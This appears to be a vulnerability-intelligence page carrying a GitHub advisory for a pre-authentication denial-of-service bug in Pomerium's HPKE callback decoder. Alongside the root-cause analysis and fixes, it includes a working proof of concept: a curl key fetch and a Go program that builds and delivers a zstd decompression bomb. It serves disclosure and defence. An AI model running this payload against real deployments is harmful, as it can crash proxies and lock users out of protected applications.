Pomerium CVE-2026-50285
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Externally reachable pre-auth callback with a public receiver key means AV:N/AC:L/PR:N/UI:N; availability-only DoS confined to the proxy process gives A:H, C:N, I:N, S:U.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The HPKE V2 URL decode path in pkg/hpke/url.go decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's /.pomerium/callback endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation - crashing or degrading the proxy process.
Severity
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network - the
/.pomerium/callbackroute on the proxy service is externally reachable. - Attack Complexity: Low - the receiver public key is publicly available at
/.well-known/pomerium/hpke-public-key; no special conditions apply. - Privileges Required: None - the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).
- User Interaction: None
- Scope: Unchanged - the DoS is confined to the Pomerium proxy process itself.
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High - repeated attacks can exhaust process memory and crash the proxy.
Affected Component
pkg/hpke/url.go-decodeQueryStringV2(line 171)internal/authenticateflow/stateless.go-Callback(line 385-393)proxy/handlers.go-Callback(line 105-107), route registered at line 53-54
CWE
- CWE-400: Uncontrolled Resource Consumption
- CWE-1284: Improper Validation of Specified Quantity in Input
Description
Unbounded zstd Decompression in decodeQueryStringV2
pkg/hpke/url.go defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (url.go:166-176):
var zstdDecoder, _ = zstd.NewReader(nil,
zstd.WithDecoderLowmem(true),
)
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit
if err != nil {
return nil, err
}
return url.ParseQuery(string(bs))
}WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.
By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:
r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB capThe protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.
HPKE Does Not Block the Attack - Sender Validation Is Too Late
DecryptURLValues for the V2 format (url.go:107-126):
case IsEncryptedURLV2(encrypted):
senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled
// ...
sealed, err := decode(encrypted.Get(paramQueryV2))
// ...
message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt - succeeds
// ...
decrypted, err = decodeQueryStringV2(message) // zstd decompress - UNBOUNDEDOpen uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.
Sender identity is validated after DecryptURLValues returns (stateless.go:391-397):
senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attackerThe decompression memory spike occurs unconditionally before rejection.
Pre-Auth Execution Chain on the Proxy Callback
The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53-54):
c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)For Stateless-flow deployments, p.Callback → authenticateflow.Stateless.Callback → hpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.
Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):
root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))The full attack requires no credentials of any kind.
Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.
Proof of Concept
# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head
# Step 2: Build and send the decompression bomb (requires Go)package main
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/klauspost/compress/zstd"
"github.com/pomerium/pomerium/pkg/hpke"
)
func main() {
// Fetch receiver public key from the target
resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
pubBytes := make([]byte, 32)
resp.Body.Read(pubBytes)
resp.Body.Close()
receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)
// Attacker generates their own sender key pair
attackerPriv, _ := hpke.GeneratePrivateKey()
// Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
plain := "x=" + strings.Repeat("A", 128*1024*1024)
enc, _ := zstd.NewWriter(nil)
compressed := enc.EncodeAll([]byte(plain), nil)
// Seal the bomb with attacker's private key → server's public key
sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)
form := url.Values{
"k": {attackerPriv.PublicKey().String()},
"q": {base64.RawURLEncoding.EncodeToString(sealed)},
}
// Deliver to the pre-auth callback endpoint
target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
fmt.Printf("Sending bomb to: %s\n", target)
http.Get(target)
fmt.Println("Done - server allocated ~256 MB per request")
}Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.
Impact
- Pre-auth denial of service against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero /
authenticate.pomerium.app). - An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20-40 KB payload.
- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.
- No credentials, session cookies, or insider access required - only network reachability to the proxy's HTTPS port.
Recommended Remediation
Option 1: Cap decompressed output size in decodeQueryStringV2 (preferred)
Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:
const maxDecompressedQuerySize = 1 << 20 // 1 MiB - generous for any real query string
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil)
if err != nil {
return nil, err
}
if len(bs) > maxDecompressedQuerySize {
return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs))
}
return url.ParseQuery(string(bs))
}This fixes the root cause at the lowest layer and protects all callers unconditionally.
Option 2: Validate sender public key before decompressing
Restructure DecryptURLValues so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into DecryptURLValues or splitting the decrypt and decompress steps:
// In Stateless.Callback, before calling DecryptURLValues:
senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k"))
if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {
return err // reject before decompression
}
// then proceed with decryption and decompressionThis eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in decodeQueryStringV2, leaving other current or future callers at risk.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
AnalysisAI
Pre-authentication memory-exhaustion denial of service in Pomerium's identity-aware proxy (versions >= 0.32.6, < 0.32.8) lets remote unauthenticated attackers crash or degrade the proxy by delivering a zstd decompression bomb to the pre-auth /.pomerium/callback endpoint. Only deployments using the stateless/hosted authenticate flow (Pomerium Zero / authenticate.pomerium.app) are affected; self-hosted stateful deployments verify an HMAC signature first and are immune. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires that the target Pomerium deployment uses the stateless/hosted authenticate flow (Pomerium Zero or authenticate.pomerium.app) - this is the essential prerequisite; self-hosted stateful deployments call VerifySignature (HMAC-SHA256) before decryption and are NOT exploitable. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) is internally consistent and well-supported by the description: the callback route is externally reachable, the receiver public key is public at `/.well-known/pomerium/hpke-public-key`, and no credentials or user interaction are needed. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker fetches Pomerium's public HPKE receiver key from `/.well-known/pomerium/hpke-public-key`, generates their own sender key pair, zstd-compresses a ~128 MiB payload down to ~19 KB, HPKE-seals it to the server's public key, and sends it as `k` and `q` query parameters to the pre-auth `/.pomerium/callback/` endpoint. Each small GET request forces the proxy to allocate hundreds of megabytes before the sender key is rejected; concurrent/repeated requests exhaust memory and crash the proxy, cutting off access to every protected application. … |
| Remediation | Vendor-released patch: upgrade to Pomerium v0.32.8, which bounds zstd output by adding `zstd.WithDecoderMaxMemory(4*1024*1024)` (4 MiB) to the decoder in `pkg/hpke/url.go` so oversized decompression now fails with 'decompressed size exceeds configured limit' (commit 593eb81c7e5bdbe6071a30d330f374967869577f). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify whether your organization uses Pomerium Zero or hosted authenticate.pomerium.app (self-hosted stateful deployments require no action). …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-ggw3-5987-rx77